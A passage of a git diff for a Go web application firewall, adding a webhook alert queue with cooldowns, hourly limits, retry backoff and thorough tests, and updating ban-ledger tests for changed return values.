as the last +// one let through. +func (q *Queue) startCooldown(alert *Alert, now time.Time) { + if q.params.Cooldown == 0 { + return + } + + key := cooldownKeyOf(alert) + + last, found := q.cooldowns[key] + if found { + alert.SuppressedRepeats = last.SuppressedRepeats + } + + q.cooldowns[key] = &Cooldown{ + Event: alert.Event, Netblock: alert.Netblock, File: key.file, Source: key.source, + Sent: now, + } +} + +// endHour ends the hour under way, if now is past it: it queues that +// hour's summary when alerts were held back in it past MaxPerHour, and +// forgets the cooldowns that have run out with no repeat held back, which +// no alert needs any more. +func (q *Queue) endHour(now time.Time) { + start := now.Truncate(time.Hour) + if !start.After(q.hour.Start) { + return + } + + heldBack := 0 + for _, count := range q.hour.HeldBack { + heldBack += count + } + + if heldBack > 0 { + q.queue(&Alert{ + Instance: q.params.Instance, + Time: now, + Event: EventSummary, + Reason: fmt.Sprintf("%d alerts held back in the hour from %s, past the %d "+ + "an hour SWWAF_ALERT_MAX_PER_HOUR allows", heldBack, + q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour), + Detail: map[string]any{ + "hour": q.hour.Start, "count": heldBack, "events": q.hour.HeldBack, + }, + }) + } + + q.hour = Hour{Start: start, HeldBack: map[string]int{}} + + for key, cooldown := range q.cooldowns { + if now.Sub(cooldown.Sent) >= q.params.Cooldown && cooldown.SuppressedRepeats == 0 { + delete(q.cooldowns, key) + } + } +} + +// queue adds alert to the alerts waiting, first dropping the oldest while +// queueSize wait, and has Run look at the queue again. +func (q *Queue) queue(alert *Alert) { + if len(q.waiting) == queueSize { + q.waiting = slices.Delete(q.waiting, 0, 1) + q.dropped.Add(1) + } + + q.waiting = append(q.waiting, alert) + + select { + case q.queued <- struct{}{}: + default: // a value waits already + } +} + +// next returns the oldest alert waiting, nil when none waits, and how +// long it is until the hour under way ends. +func (q *Queue) next() (*Alert, time.Duration) { + q.mu.Lock() + defer q.mu.Unlock() + + var oldest *Alert + if len(q.waiting) > 0 { + oldest = q.waiting[0] + } + + return oldest, q.hour.Start.Add(time.Hour).Sub(q.params.Now()) +} + +// remove takes alert, which Run has sent or given up, out of the queue, +// unless it has been dropped from it, or Load has replaced the queue, +// since Run took it. Only the oldest alert is ever dropped, so alert is +// the oldest if it is there at all. +func (q *Queue) remove(alert *Alert) { + q.mu.Lock() + defer q.mu.Unlock() + + if len(q.waiting) > 0 && q.waiting[0] == alert { + q.waiting = slices.Delete(q.waiting, 0, 1) + } +} + +// send posts alert to the webhook as JSON, with WebhookHeaders, and +// returns an error unless the webhook answers with a 2xx status: one that +// wraps errRefused for a 4xx status other than 408 and 429. No error +// names the webhook's URL, whose path or query can carry a secret. +func (q *Queue) send(ctx context.Context, alert *Alert) error { + body, err := json.Marshal(alert) + if err != nil { + return fmt.Errorf("encode the alert: %w", err) + } + + ctx, cancel := context.WithTimeout(ctx, sendTimeout) + defer cancel() + + req, err := http.NewRequestWithContext(ctx, http.MethodPost, + q.params.WebhookURL.String(), bytes.NewReader(body)) + if err != nil { + return fmt.Errorf("make the request: %w", err) + } + + maps.Copy(req.Header, q.params.WebhookHeaders) + req.Header.Set("Content-Type", "application/json") + + res, err := q.httpClient.Do(req) + if err != nil { + // The client's error names the URL: only what went wrong is kept. + if urlErr, ok := errors.AsType[*url.Error](err); ok { + return urlErr.Err + } + + return err + } + + defer func() { + _ = res.Body.Close() + }() + + // Read, so that the connection can be used again. + _, _ = io.Copy(io.Discard, io.LimitReader(res.Body, maxAnswerBytes)) + + switch status := res.StatusCode; { + case status >= http.StatusOK && status < http.StatusMultipleChoices: + return nil + case status >= http.StatusBadRequest && status < http.StatusInternalServerError && + status != http.StatusRequestTimeout && status != http.StatusTooManyRequests: + return fmt.Errorf("%w %s", errRefused, res.Status) + default: + return fmt.Errorf("%w %s", errStatus, res.Status) + } +} diff --git a/internal/alerts/alerts_test.go b/internal/alerts/alerts_test.go new file mode 100644 index 0000000..79189d0 --- /dev/null +++ b/internal/alerts/alerts_test.go @@ -0,0 +1,852 @@ +package alerts_test + +import ( + "bytes" + "context" + "encoding/json" + "fmt" + "io" + "log/slog" + "net/http" + "net/http/httptest" + "net/netip" + "net/url" + "reflect" + "slices" + "strings" + "sync" + "testing" + "testing/synctest" + "time" + + "sneak.berlin/go/smallwebwaf/internal/alerts" +) + +// The tests run in a synctest bubble, where the time package runs on a +// clock of the test's own, which starts at 2000-01-01T00:00:00Z, the start +// of an hour: a wait lasts exactly as long as it should, however slowly +// the test process runs, and synctest.Wait returns once the queue has +// done all it can before time passes. The stand-in for the webhook +// answers without the network, since a request waiting on the network +// would keep that clock from moving on. + +const ( + // webhookURL is where the alerts are posted. + webhookURL = "https://alerts.example/smallwebwaf?team=ops" + // instance is the instance name every alert gives. + instance = "fsn1app1/gitea" + // started is when each test starts, as an alert gives it, and + // anHourOn an hour later. + started = "2000-01-01T00:00:00Z" + anHourOn = "2000-01-01T01:00:00Z" + // cooldown is the cooldown of most tests, the default. + cooldown = 15 * time.Minute +) + +func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + params := newParams() + params.WebhookHeaders = http.Header{ + "Authorization": {"Bearer 0123456789abcdef"}, + "X-Team": {"ops"}, + } + webhook, q := start(t, params) + + q.Raise(alerts.Alert{ + Event: alerts.EventBan, + Client: netip.MustParseAddr("203.0.113.9"), + Netblock: netip.MustParsePrefix("203.0.113.0/24"), + Country: "DE", + Reason: "requests per minute over the limit of 1000", + Detail: map[string]any{"cause": "limit", "ban_expires": anHourOn}, + }) + synctest.Wait() + + got := webhook.received() + if len(got) != 1 { + t.Fatalf("the webhook had %d requests, want 1", len(got)) + } + + if got[0].method != http.MethodPost || got[0].url != webhookURL { + t.Errorf("request %s %s, want POST %s", got[0].method, got[0].url, webhookURL) + } + + for name, want := range map[string]string{ + "Content-Type": "application/json", + "Authorization": "Bearer 0123456789abcdef", + "X-Team": "ops", + } { + if got[0].header.Get(name) != want { + t.Errorf("header %s is %q, want %q", name, got[0].header.Get(name), want) + } + } + + wantAlert(t, got[0].alert, map[string]any{ + "instance": instance, + "time": started, + "event": "ban", + "client": "203.0.113.9", + "netblock": "203.0.113.0/24", + "asn": "", + "as_name": "", + "country": "DE", + "reason": "requests per minute over the limit of 1000", + "detail": map[string]any{"cause": "limit", "ban_expires": anHourOn}, + "suppressed_repeats": float64(0), + }) + wantCounts(t, q, 1, 0, 0, 0) + }) +} + +func TestOnlyTheChosenEventsAreSent(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + params := newParams() + params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError} + webhook, q := start(t, params) + + q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) + q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"}) + q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(1)}) + synctest.Wait() + + wantEvents(t, webhook, alerts.EventFileError) + wantCounts(t, q, 1, 0, 0, 0) + }) +} + +func TestWouldSendOnlyForTheChosenEvents(t *testing.T) { + t.Parallel() + + params := newParams() + params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError} + q := alerts.New(params) + + if q.WouldSend(alerts.EventBan, netblock(1)) || + q.WouldSend(alerts.EventPermanentBan, netblock(1)) { + t.Error("a ban alert would be sent, though SWWAF_ALERT_EVENTS leaves it out") + } + + if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) { + t.Error("a file_error alert would not be sent") + } +} + +func TestNothingIsQueuedWithoutAWebhook(t *testing.T) { + t.Parallel() + + params := newParams() + params.WebhookURL = nil + q := alerts.New(params) + + q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) + + if waiting := q.Snapshot().Waiting; len(waiting) != 0 { + t.Errorf("%d alerts wait, want none", len(waiting)) + } +} + +func TestWouldSendNothingWithoutAWebhook(t *testing.T) { + t.Parallel() + + params := newParams() + params.WebhookURL = nil + q := alerts.New(params) + + if q.WouldSend(alerts.EventBan, netblock(1)) { + t.Error("an alert would be sent with no webhook set") + } +} + +func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + webhook, q := start(t, newParams()) + raise := func(event string, n int) { + q.Raise(alerts.Alert{Event: event, Netblock: netblock(n)}) + } + + raise(alerts.EventBan, 1) + + // The same event on the same netblock is a repeat; another netblock + // or another event is not. + time.Sleep(time.Minute) + raise(alerts.EventBan, 1) + raise(alerts.EventBan, 2) + raise(alerts.EventPermanentBan, 1) + + time.Sleep(cooldown - time.Minute - time.Nanosecond) + raise(alerts.EventBan, 1) + + // Once the cooldown has run out, the next one is sent with the + // count of those held back. + time.Sleep(time.Nanosecond) + raise(alerts.EventBan, 1) + + // And starts the cooldown again. + time.Sleep(time.Minute) + raise(alerts.EventBan, 1) + synctest.Wait() + + got := webhook.received() + wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventPermanentBan, + alerts.EventBan) + + for i, want := range []struct { + netblock int + repeats float64 + }{{1, 0}, {2, 0}, {1, 0}, {1, 2}} { + alert := got[i].alert + if alert["netblock"] != netblock(want.netblock).String() || + alert["suppressed_repeats"] != want.repeats { + t.Errorf("alert %d is for %v with %v repeats, want %s with %v", i, + alert["netblock"], alert["suppressed_repeats"], netblock(want.netblock), + want.repeats) + } + } + + wantCounts(t, q, 4, 0, 3, 0) + }) +} + +func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + params := newParams() + webhook, q := start(t, params) + fileError := func(file string) alerts.Alert { + return alerts.Alert{ + Event: alerts.EventFileError, + Detail: map[string]any{"file": file, "error": "line 2: an error"}, + } + } + sourceFailure := func(source string) alerts.Alert { + return alerts.Alert{ + Event: alerts.EventSourceFailure, Detail: map[string]any{"source": source}, + } + } + + // Another file, or another source, is no repeat. + q.Raise(fileError("/rules.d/50-a.rules")) + q.Raise(fileError("/rules.d/50-b.rules")) + q.Raise(fileError("/rules.d/50-a.rules")) + q.Raise(sourceFailure("geojs")) + q.Raise(sourceFailure("abuseipdb")) + q.Raise(sourceFailure("geojs")) + synctest.Wait() + + // Each alert is named by its file, or its source. + got := make([]string, 0, len(webhook.received())) + for _, request := range webhook.received() { + detail, _ := request.alert["detail"].(map[string]any) + file, _ := detail["file"].(string) + source, _ := detail["source"].(string) + got = append(got, file+source) + } + + want := []string{ + "/rules.d/50-a.rules", "/rules.d/50-b.rules", "geojs", "abuseipdb", + } + if !slices.Equal(got, want) { + t.Errorf("the webhook was sent alerts for %v, want %v", got, want) + } + + wantCounts(t, q, 4, 0, 2, 0) + + // alerts.json keeps each file's cooldown: a new queue holds back + // the next for the first file, and sends the one for a third. + after := alerts.New(params) + after.Load(roundTrip(t, q.Snapshot())) + after.Raise(fileError("/rules.d/50-a.rules")) + after.Raise(fileError("/rules.d/50-c.rules")) + + waiting := after.Snapshot().Waiting + if len(waiting) != 1 || waiting[0].Detail["file"] != "/rules.d/50-c.rules" { + t.Errorf("after loading, alerts wait %+v, want the one for 50-c.rules", waiting) + } + }) +} + +func TestNoCooldownSendsEveryRepeat(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + params := newParams() + params.Cooldown = 0 + webhook, q := start(t, params) + + for range 3 { + q.Raise(alerts.Alert{Event: alerts.EventFileError}) + time.Sleep(time.Minute) + } + + synctest.Wait() + + wantEvents(t, webhook, alerts.EventFileError, alerts.EventFileError, + alerts.EventFileError) + wantCounts(t, q, 3, 0, 0, 0) + }) +} + +func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + params := newParams() + params.MaxPerHour = 2 + webhook, q := start(t, params) + + q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) + q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(2)}) + q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(3)}) + q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(4)}) + q.Raise(alerts.Alert{Event: alerts.EventFileError}) + + // The summary is sent as the hour ends, and not before. + time.Sleep(time.Hour - time.Nanosecond) + synctest.Wait() + wantEvents(t, webhook, alerts.EventBan, alerts.EventBan) + + time.Sleep(time.Nanosecond) + synctest.Wait() + wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary) + + summary := webhook.received()[2].alert + wantAlert(t, summary, map[string]any{ + "instance": instance, + "time": anHourOn, + "event": "summary", + "client": "", + "netblock": "", + "asn": "", + "as_name": "", + "country": "", + "reason": "3 alerts held back in the hour from 2000-01-01T00:00:00Z, " + + "past the 2 an hour SWWAF_ALERT_MAX_PER_HOUR allows", + "detail": map[string]any{ + "hour": started, + "count": float64(3), + "events": map[string]any{ + "ban": float64(1), "permanent_ban": float64(1), "file_error": float64(1), + }, + }, + "suppressed_repeats": float64(0), + }) + + // The next hour sends alerts again, and, with none held back, ends + // without a summary. + q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(5)}) + time.Sleep(time.Hour) + synctest.Wait() + wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary, + alerts.EventBan) + wantCounts(t, q, 4, 0, 3, 0) + }) +} + +func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheNextSent(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + params := newParams() + params.MaxPerHour = 1 + webhook, q := start(t, params) + raise := func() { + q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) + } + + // The hour's one alert, and two repeats the cooldown holds back. + raise() + raise() + raise() + + // Once the cooldown has run out, the next is past the hourly limit. + time.Sleep(cooldown) + raise() + + // The next hour's first alert gives the two repeats, and the summary + // the alert past the limit. + time.Sleep(time.Hour - cooldown) + synctest.Wait() + raise() + synctest.Wait() + + wantEvents(t, webhook, alerts.EventBan, alerts.EventSummary, alerts.EventBan) + + got := webhook.received() + if len(got) == 3 { + detail, _ := got[1].alert["detail"].(map[string]any) + repeats := got[2].alert["suppressed_repeats"] + + if detail["count"] != float64(1) || repeats != float64(2) { + t.Errorf("the summary counts %v alerts, and the last alert gives %v "+ + "repeats, want 1 and 2", detail["count"], repeats) + } + } + + wantCounts(t, q, 3, 0, 3, 0) + }) +} + +func TestFailedRequestIsSentAgainWithBackoff(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + params := newParams() + log := &lockedBuffer{} + params.ProcessLog = slog.New(slog.NewJSONHandler(log, nil)) + webhook, q := start(t, params) + webhook.set(failing) + + q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) + + // A second after the first failure, then twice as long after each + // further one, up to a minute. + time.Sleep(200 * time.Second) + synctest.Wait() + + after := make([]time.Duration, 0, len(webhook.received())) + for _, request := range webhook.received() { + after = append(after, request.at.Sub(midnight())) + } + + want := []time.Duration{ + 0, time.Second, 3 * time.Second, 7 * time.Second, 15 * time.Second, + 31 * time.Second, 63 * time.Second, 123 * time.Second, 183 * time.Second, + } + if !slices.Equal(after, want) { + t.Errorf("requests at %v, want %v", after, want) + } + + wantCounts(t, q, 0, int64(len(want)), 0, 0) + + if !strings.Contains(log.String(), + `"msg":"sending an alert to SWWAF_ALERT_WEBHOOK_URL failed"`) { + t.Errorf("process log %q names no failure", log.String()) + } + + // Once the webhook answers, the alert is sent, and leaves the + // queue. + webhook.set(answering) + time.Sleep(time.Minute) + synctest.Wait() + + got := webhook.received() + if last := got[len(got)-1]; !last.answered || + last.alert["netblock"] != netblock(1).String() { + t.Errorf("the last request was not the alert, answered") + } + + wantCounts(t, q, 1, int64(len(want)), 0, 0) + + if waiting := q.Snapshot().Waiting; len(waiting) != 0 { + t.Errorf("%d alerts still wait, want none", len(waiting)) + } + }) +} + +func TestRefusedAlertIsGivenUpAndTheNextSent(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + params := newParams() + log := &lockedBuffer{} + params.ProcessLog = slog.New(slog.NewJSONHandler(log, nil)) + webhook, q := start(t, params) + + // 429 and 408 are failures, and the alert is sent again; 400 refuses + // it, and it is given up. + webhook.set(http.StatusTooManyRequests) + q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) + synctest.Wait() + webhook.set(http.StatusRequestTimeout) + time.Sleep(time.Second) + synctest.Wait() + webhook.set(refusing) + time.Sleep(2 * time.Second) + synctest.Wait() + + // The next alert is sent at once. + webhook.set(answering) + q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(2)}) + time.Sleep(time.Minute) + synctest.Wait() + + // Each request, by when it was sent, and the netblock of its alert. + got := make([]string, 0, len(webhook.received())) + for _, request := range webhook.received() { + block, _ := request.alert["netblock"].(string) + got = append(got, request.at.Sub(midnight()).String()+" "+block) + } + + want := []string{ + "0s " + netblock(1).String(), "1s " + netblock(1).String(), + "3s " + netblock(1).String(), "3s " + netblock(2).String(), + } + if !slices.Equal(got, want) { + t.Errorf("requests %v, want %v", got, want) + } + + wantCounts(t, q, 1, 3, 0, 1) + + if !strings.Contains(log.String(), + `"msg":"gave up an alert SWWAF_ALERT_WEBHOOK_URL refused"`) { + t.Errorf("process log %q names no alert given up", log.String()) + } + }) +} + +func TestFailedRequestIsLoggedWithoutTheURL(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + params := newParams() + log := &lockedBuffer{} + params.ProcessLog = slog.New(slog.NewJSONHandler(log, nil)) + webhook, q := start(t, params) + webhook.set(hanging) + + // The request is abandoned after 10 seconds, with an error from the + // HTTP client, which names the URL. + q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) + time.Sleep(11 * time.Second) + synctest.Wait() + + logged := log.String() + if !strings.Contains(logged, + `"msg":"sending an alert to SWWAF_ALERT_WEBHOOK_URL failed"`) || + strings.Contains(logged, "alerts.example") || strings.Contains(logged, "team=ops") { + t.Errorf("process log %q names no failure, or names the URL", logged) + } + }) +} + +func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + params := newParams() + params.MaxPerHour = 0 + webhook, q := start(t, params) + webhook.set(hanging) + + // The webhook does not answer the first alert, while one more alert + // than the queue holds is raised: none waits, and the oldest, the + // one the webhook was sent, is dropped. + for n := range alerts.QueueSize + 1 { + q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)}) + + if n == 0 { + synctest.Wait() + } + } + + if took := time.Since(midnight()); took != 0 { + t.Errorf("raising the alerts took %s, want no time", took) + } + + wantCounts(t, q, 0, 0, 0, 1) + + waiting := q.Snapshot().Waiting + if len(waiting) != alerts.QueueSize || waiting[0].Netblock != netblock(1) { + t.Fatalf("%d alerts wait, the first for %s, want %d, the first for %s", + len(waiting), waiting[0].Netblock, alerts.QueueSize, netblock(1)) + } + + // The request is abandoned after 10 seconds, and the webhook, which + // answers again, is sent the others, in order, a second later. + webhook.set(answering) + time.Sleep(11 * time.Second) + synctest.Wait() + + got := webhook.received() + if len(got) != alerts.QueueSize+1 || + got[0].alert["netblock"] != netblock(0).String() { + t.Fatalf("the webhook had %d requests, want %d, the first for %s", + len(got), alerts.QueueSize+1, netblock(0)) + } + + for i, request := range got[1:] { + if request.alert["netblock"] != netblock(i+1).String() { + t.Fatalf("request %d is for %v, want %s", i+1, request.alert["netblock"], + netblock(i+1)) + } + } + + wantCounts(t, q, alerts.QueueSize, 1, 0, 1) + }) +} + +func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + params := newParams() + params.MaxPerHour = 1 + before := alerts.New(params) + + // Not sent: Run is not running. The repeat is held back by the + // cooldown, and the file error past the hourly limit. + before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) + before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) + before.Raise(alerts.Alert{Event: alerts.EventFileError}) + + time.Sleep(time.Minute) + + webhook, after := start(t, params) + after.Load(roundTrip(t, before.Snapshot())) + + // The new queue sends the alert waiting, holds back the repeat as + // the cooldown still runs, and sends the summary of the hour. + after.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) + synctest.Wait() + wantEvents(t, webhook, alerts.EventBan) + + time.Sleep(time.Hour) + synctest.Wait() + wantEvents(t, webhook, alerts.EventBan, alerts.EventSummary) + + detail, _ := webhook.received()[1].alert["detail"].(map[string]any) + if detail["count"] != float64(1) { + t.Errorf("the summary counts %v alerts, want 1", detail["count"]) + } + + // The cooldown has run out, and the next one gives both repeats. + after.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}) + synctest.Wait() + + got := webhook.received() + if repeats := got[len(got)-1].alert["suppressed_repeats"]; repeats != float64(2) { + t.Errorf("the last alert gives %v repeats, want 2", repeats) + } + }) +} + +// How the stand-in for the webhook answers: with a status, or, hanging, +// not at all, until the request is abandoned. +const ( + answering = http.StatusNoContent + failing = http.StatusServiceUnavailable + refusing = http.StatusBadRequest + hanging = 0 +) + +// standIn is a stand-in for the webhook. It notes each request it is +// sent. +type standIn struct { + mu sync.Mutex + answers int + requests []post +} + +// post is a request the webhook was sent: when, its method, URL and +// headers, the alert it carried, and whether the webhook answered it with +// a 2xx status. +type post struct { + at time.Time + method string + url string + header http.Header + alert map[string]any + answered bool +} + +// RoundTrip has the stand-in answer req, in place of the network. A +// request abandoned before the stand-in answers fails, as over the +// network. +func (s *standIn) RoundTrip(req *http.Request) (*http.Response, error) { + answer := httptest.NewRecorder() + s.ServeHTTP(answer, req) + + _ = req.Body.Close() + + err := req.Context().Err() + if err != nil { + return nil, err + } + + return answer.Result(), nil +} + +// ServeHTTP notes the request, and answers it as the stand-in is set to. +func (s *standIn) ServeHTTP(w http.ResponseWriter, r *http.Request) { + body, _ := io.ReadAll(r.Body) + + var alert map[string]any + + _ = json.Unmarshal(body, &alert) + + s.mu.Lock() + answers := s.answers + s.requests = append(s.requests, post{ + at: time.Now(), method: r.Method, url: r.URL.String(), header: r.Header.Clone(), + alert: alert, answered: answers == answering, + }) + s.mu.Unlock() + + if answers == hanging { + <-r.Context().Done() + } else { + w.WriteHeader(answers) + } +} + +// set sets how the stand-in answers: with the status answers, or hanging. +func (s *standIn) set(answers int) { + s.mu.Lock() + defer s.mu.Unlock() + + s.answers = answers +} + +// received returns the requests the stand-in has been sent so far. +func (s *standIn) received() []post { + s.mu.Lock() + defer s.mu.Unlock() + + return slices.Clone(s.requests) +} + +// lockedBuffer is a buffer the process log can write to while the test +// reads it. +type lockedBuffer struct { + mu sync.Mutex + buf bytes.Buffer +} + +// Write adds p to the buffer. +func (b *lockedBuffer) Write(p []byte) (int, error) { + b.mu.Lock() + defer b.mu.Unlock() + + return b.buf.Write(p) +} + +// String returns what was written. +func (b *lockedBuffer) String() string { + b.mu.Lock() + defer b.mu.Unlock() + + return b.buf.String() +} + +// newParams returns the Params of most tests: the webhook at webhookURL, +// every event, the default cooldown and hourly limit, and the bubble's +// clock in UTC. +func newParams() alerts.Params { + webhook, err := url.Parse(webhookURL) + if err != nil { + panic(err) + } + + return alerts.Params{ + WebhookURL: webhook, + Events: alerts.Events(), + Cooldown: cooldown, + MaxPerHour: 60, + Instance: instance, + Now: func() time.Time { return time.Now().UTC() }, + ProcessLog: slog.New(slog.DiscardHandler), + } +} + +// start returns a stand-in for the webhook that answers, and a Queue that +// sends to it, run until the test ends. +func start(t *testing.T, params alerts.Params) (*standIn, *alerts.Queue) { + t.Helper() + + webhook := &standIn{answers: answering} + q := alerts.New(params) + q.SetTransport(webhook) + + ctx, stop := context.WithCancel(t.Context()) + stopped := make(chan struct{}) + + go func() { + q.Run(ctx) + close(stopped) + }() + + t.Cleanup(func() { + stop() + <-stopped + }) + + return webhook, q +} + +// midnight is when each test starts. +func midnight() time.Time { + return time.Date(2000, 1, 1, 0, 0, 0, 0, time.UTC) +} + +// netblock returns the n-th netblock of a test, counted from 0. +func netblock(n int) netip.Prefix { + return netip.MustParsePrefix(fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256)) +} + +// roundTrip returns state once written as JSON and read back, as +// alerts.json carries it from one start to the next. +func roundTrip(t *testing.T, state alerts.State) alerts.State { + t.Helper() + + data, err := json.Marshal(state) + if err != nil { + t.Fatalf("encode: %v", err) + } + + var read alerts.State + + err = json.Unmarshal(data, &read) + if err != nil { + t.Fatalf("decode: %v", err) + } + + return read +} + +// wantAlert checks every field of an alert the webhook was sent. +func wantAlert(t *testing.T, got, want map[string]any) { + t.Helper() + + if !reflect.DeepEqual(got, want) { + t.Errorf("alert %v, want %v", got, want) + } +} + +// wantEvents checks the events of the alerts the webhook was sent, in +// order. +func wantEvents(t *testing.T, webhook *standIn, want ...string) { + t.Helper() + + got := make([]string, 0, len(webhook.received())) + + for _, request := range webhook.received() { + event, _ := request.alert["event"].(string) + got = append(got, event) + } + + if !slices.Equal(got, want) { + t.Errorf("the webhook was sent %v, want %v", got, want) + } +} + +// wantCounts checks the alerts q counts as sent, the requests it counts as +// failed, and the alerts it counts as held back and as dropped. +func wantCounts( + t *testing.T, q *alerts.Queue, sent, failed, suppressed, dropped int64, +) { + t.Helper() + + if q.Sent() != sent || q.Failed() != failed || q.Suppressed() != suppressed || + q.Dropped() != dropped { + t.Errorf("counts sent %d, failed %d, suppressed %d and dropped %d, "+ + "want %d, %d, %d and %d", q.Sent(), q.Failed(), q.Suppressed(), q.Dropped(), + sent, failed, suppressed, dropped) + } +} diff --git a/internal/alerts/export_test.go b/internal/alerts/export_test.go new file mode 100644 index 0000000..37309dd --- /dev/null +++ b/internal/alerts/export_test.go @@ -0,0 +1,12 @@ +package alerts + +import "net/http" + +// QueueSize is the most alerts that wait to be sent. +const QueueSize = queueSize + +// SetTransport has q's requests to the webhook go through transport +// instead of the network. +func (q *Queue) SetTransport(transport http.RoundTripper) { + q.httpClient.Transport = transport +} diff --git a/internal/bans/admin_test.go b/internal/bans/admin_test.go index a7e0704..3917281 100644 --- a/internal/bans/admin_test.go +++ b/internal/bans/admin_test.go @@ -65,9 +65,9 @@ func TestReasonOfTheBansSmallwebwafMakes(t *testing.T) { ledger := bans.New(defaultRules()) - limit := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(), + limit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(), bans.Notes{Limit: 1000, Window: "minute"}) - attack := ledger.BanForAttack(netip.MustParsePrefix("203.0.113.2/32"), midnight(), + attack, _ := ledger.BanForAttack(netip.MustParsePrefix("203.0.113.2/32"), midnight(), bans.Notes{RuleID: "git-dir", Target: "path"}) for _, tc := range []struct{ got, want string }{ @@ -101,12 +101,12 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) { // kept, and counted among the earlier bans. now := midnight().Add(30 * time.Minute) - _, banned := ledger.Check(netblock.Addr(), now) + _, banned, _ := ledger.Check(netblock.Addr(), now) if banned { t.Error("the lifted ban refuses") } - ban := ledger.BanForLimit(netblock, now, bans.Notes{}) + ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{}) if ban.Expires.Sub(ban.Start) != time.Hour || ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { t.Errorf("the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit", @@ -134,7 +134,7 @@ func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) { now := midnight().Add(2 * time.Hour) - _, banned := ledger.Find(netblock.Addr(), now) + _, banned, _ := ledger.Find(netblock.Addr(), now) if banned { t.Error("the lifted ban refuses") } @@ -145,7 +145,7 @@ func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) { } // The next clear sign of attack bans for seven days, as a first does. - ban := ledger.BanForAttack(netblock, now, bans.Notes{}) + ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{}) if ban.Expires.Sub(ban.Start) != 7*day { t.Errorf("the next ban for an attack ends at %s, want seven days on", ban.Expires) } @@ -155,7 +155,7 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) { t.Parallel() ledger := bans.New(defaultRules()) - made := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(), + made, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(), bans.Notes{}) atStart := bans.Ban{ Netblock: netip.MustParsePrefix("203.0.113.2/32"), @@ -220,7 +220,7 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) { } // It refuses once the ban for the limit has ended. - ban, banned := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour)) + ban, banned, _ := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour)) if !banned || ban != want { t.Errorf("after the limit's ban the netblock is under %+v (%t), want %+v", ban, banned, want) @@ -261,11 +261,11 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) { wantChanged(t, ledger, true) - if _, banned := ledger.Check(client, now); banned { + if _, banned, _ := ledger.Check(client, now); banned { t.Error("the client is still banned") } - if _, banned := ledger.Check(other.Addr(), now); !banned { + if _, banned, _ := ledger.Check(other.Addr(), now); !banned { t.Error("the other client's ban was lifted") } diff --git a/internal/bans/bans.go b/internal/bans/bans.go index 77f0a8e..07ef067 100644 --- a/internal/bans/bans.go +++ b/internal/bans/bans.go @@ -194,39 +194,43 @@ func (l *Ledger) Changed() <-chan struct{} { // a ban on a netblock client is in is active, and returns that ban, with // the request counted among those it refused. A ban for a clear sign of // attack is made 